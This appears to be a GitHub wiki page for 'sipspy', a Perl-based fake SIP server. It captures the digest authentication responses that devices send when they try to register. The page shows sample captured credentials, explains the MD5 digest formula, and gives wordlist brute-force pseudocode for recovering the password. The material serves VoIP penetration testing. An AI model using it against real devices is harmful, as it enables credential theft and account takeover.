Skip to content
Jose Luis Verdeguer edited this page Jan 21, 2019 · 1 revision

Sipspy is a fake SIP server that listens on port 5060/UDP and responds to REGISTER message authentication requests.

The purpose of sipspy is to obtain the digest authentication response from a device that thinks it is connecting to a PBX server:

Device                                      Fake SIP Server
         ---> REGISTER (with no auth) ---> 
         <--- 401 Unauthorized        <---
         ---> REGISTER (with auth)    ---> 

Usage

$ perl sipspy.pl -h

SipSPY  - by Pepelux <pepeluxx@gmail.com>
------

Usage: perl sipspy.pl [options]
 
== Options ==
-h               = This help
-p  <integer>    = Local port (default: 5060)
-v               = Verbose (trace information)

Example

$ perl sipspy.pl
[=>] 192.168.1.127:5062 REGISTER
     [ Sending digest => WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="405a7bc0" ]
[=>] 192.168.1.127:5062 REGISTER
 ]   [ Digest response => Authorization: Digest username="user202", realm="asterisk", nonce="405a7bc0", uri="sip:192.168.1.129", response="d0b3959b50a3848a9a959c4080221c4c", algorithm=MD5

How does SIP authentication work?

response = md5(A:nonce:B)

-> nonce is found in the first REGISTER
 
A = md5(user:realm:pass)
 
-> user is our user that we can see in the first REGISTER
-> realm is found in the first REGISTER
-> pass is the password that only the user knows and that is never sent
 
B = md5(REGISTER:uri)
 
-> REGISTER is this word
-> uri we can found it in the first REGISTER ant it looks like 'sip:host.com'

If we have all the ingredients, we can try to obtain the user's password by brute force. On this case:

A = md5(user:realm:pass)
A = md5(user202:asterisk:???)
 
B = md5(REGISTER:uri)
B = md5(REGISTER:sip:192.168.1.129)
B = aac4b22aee5d5ccab3ad0afadf1139a6
 
response = md5(A:nonce:B)
response = md5(md5(user202:asterisk:???):405a7bc0:aac4b22aee5d5ccab3ad0afadf1139a6)
response = d0b3959b50a3848a9a959c4080221c4c

Now we can write a simple script that, based on a wordlist, test the different words and verify each one:

foreach ($WORD in $WORDLIST) {
if (md5(md5(user202:asterisk:$WORD):405a7bc0:aac4b22aee5d5ccab3ad0afadf1139a6) == d0b3959b50a3848a9a959c4080221c4c) {
      echo "Password found! --> $WORD";
      exit;
   }
}
You can’t perform that action at this time.